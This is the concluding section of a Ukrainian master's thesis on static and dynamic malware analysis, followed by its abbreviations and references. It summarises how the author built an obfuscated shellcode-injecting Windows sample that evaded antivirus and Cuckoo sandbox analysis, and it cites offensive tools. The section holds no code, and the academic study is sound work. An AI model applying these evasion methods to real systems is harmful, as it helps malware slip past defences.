Висновки до четвертого розділу
Також до практичних результатів даної роботи досліджені та
реалізовані технології детектування середовищ аналізу шкідливого
програмного коду (на прикладі шкідливого зразку pafish_prj).
У ході виконання даної роботи було створено шкідливий програмний
для інтеграції shell-коду в ОС сімейства Windows (на прикладі Windows 10
x64). Зразок проаналізовано антивірусною лабораторією та у середовищі
динамічного аналізу шкідливого програмного забезпечення CuckooSandBox
(під ОС KaliLinux x64). Розроблений зразок успішно пройшов системи
аналізу шкідливого програмного забезпечення.
Для обходу систем динамічного аналізу програмного забезпечення
було використано процедуру обфускації (за практичними результатами з
попереднього розділу даної роботи).
81
ВИСНОВКИ
У ході виконання кваліфікаційноїроботи магістра були отримані
теоретичні і практичні навички статичного й динамічного аналізу шкідливого
програмного забезпечення для цільових сучасних платформ сімейства
Windows (x86 та x64).
Практичні результати полягають у:
 створенніsnapshots з метою
динамічногодослідженняшкідливогопрограмного коду
антивірусноюлабораторієюпідцільовою системою сімейства Windows;
 дослідженнізразківзішкідливимпрограмним кодом різногопоходження
та спрямування за посиланнями в [11], яке (ПЗ) базується на shell-
кодах, підцільовоюопераційною системою Windows;
 дослідженнізразківзішкідливимпрограмним кодом різногопоходження
та спрямування за посиланнями в [11] у середовищідинамічногоаналізу
роботи програмного забезпечення CuckooSandBox під OS сімейства
Linux (на прикладі KaliLinux), за допомогою якого виконується
ефективний динамічний аналіз такого програмного забезпечення;
 дослідженні методів перехвату класичних функцій WinAPI (на
прикладі MessageBoxA) з використанням технології LIEF;
 вивченні методів інтеграції (доставки) shell-коду у програмне
забезпечення з метою проникнення у відповідні (цільові) ОС;
 дослідженні методів інтеграції програмного коду у Shellter;
 досліджені засоби обфускації та деобфускації при аналізі ШПЗ.
 виконанні модифікації розроблених шкідливих програмних зразків з
метою обходу систем захисту на цільових ОС;
 використаннідопоміжних та
проміжнихбібліотекінтерпретаторамовипрограмування Python для
виконанняпрактичнихзавдань.
82
ПЕРЕЛІК СКОРОЧЕНЬ ТА УМОВНИХ ПОЗНАЧЕНЬ
API – Application Programming Interface
EDR – Endpoint Detection & Response
Pafish – інструмент тестування, який використовує різні методи для
виявлення віртуальних машин і середовищ аналізу
зловмисного програмного забезпечення так само, як і родини
зловмисного програмного забезпечення.
ПЗ – програмне забезпечення
ШПЗ – шкідливе програмне забезпечення
ШПК – шкідливий програмний код
СА – статичний аналіз
ДА – динамічний аналіз
83
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ
1. Пилипенко О.М., ЛавданськийА.О. Дослідженнятехнологійзахисту та
аналізшкідливогопрограмногозабезпечення у системах
обмінуінформацією. МатеріалиВсеукраїнськійнауково-
практичнійконференціїздобувачіввищоїосвіти та молодихучених
«Проблеми та напрямки розвитку, створення і
використанняінформаційних систем та технологій» 5–6 грудня 2022 р., м.
Дніпро.
2. https://www.hex-rays.com/products/ida/index.shtml
3. https://www.hex-rays.com/products/ida/support/download_freeware.shtml
4. LordPE Deluxe 1.41. Режим доступу: https://www.aldeid.com/wiki/LordPE.
5. Pefile. Режим доступу: https://pypi.org/project/pefile/
6. Shellter.—Режим доступу: https://www.shellterproject.com/download/
7. Virtualization/SandboxEvasion.Режим доступу: https://attack.mitre.org/
techniques/T1497/.
8. Офіційнеелектронневидання по користуваннюCuckooSandbox. Режим
доступу: https://cuckoo.readthedocs.io/en/latest/.
9. Exploit Database Shellcodes. Режимдоступу: https://www.exploitdb.com/
shellcodes.
10. ІльїнМ.І., ЯкобчукД.І. Зворотнарозробка та
аналізшкідливогопрограмногозабезпечення: Лабораторний практикум
[Текст]: навчальнийпосібник для студентівспеціальностей 125
“Кібербезпека”, 113 “Прикладна математика”. НТУУ «КПIім.
ІгоряСікорського, 2020. 117 с.
11. Windows 10 with Legacy Microsoft Edge and Internet Explorer 11. — Режим
доступу: https://developer.microsoft.com/en-us/microsoftedge/tools/vms/.
12. Завантажувач образу Windows 10 (x32 / x64) з офіційного ресурсу
Microsoft. Режим доступу: https://www.microsoft.com/ru-ru/software-
download/windows10.
84
13. Третяверсіяінтерпретатора і мовипрограмуванняPython. Режим доступу:
https://www.python.org/downloads/.
14. Pafish (ParanoidFish). Режим доступу: https://github.com/a0rtega/pafish.
15. Pupy. Режим доступу: https://github.com/n1nj4sec/pupy.
16. Python 2.7 decompiler. Режим доступу:
https://github.com/wibiti/uncompyle2.
17. Disassemblerfor Python bytecode. Режим доступу:
https://docs.python.org/3/library/dis.html.
18. WinAppDbgDebugger. Режим доступу:
https://github.com/MarioVilas/winappdbg/.
19. WinAppDbg 1.6 documentation. Режим доступу:
https://winappdbg.readthedocs.io/en/latest/.
20. VirusShare.Режим доступу: https://virusshare.com/.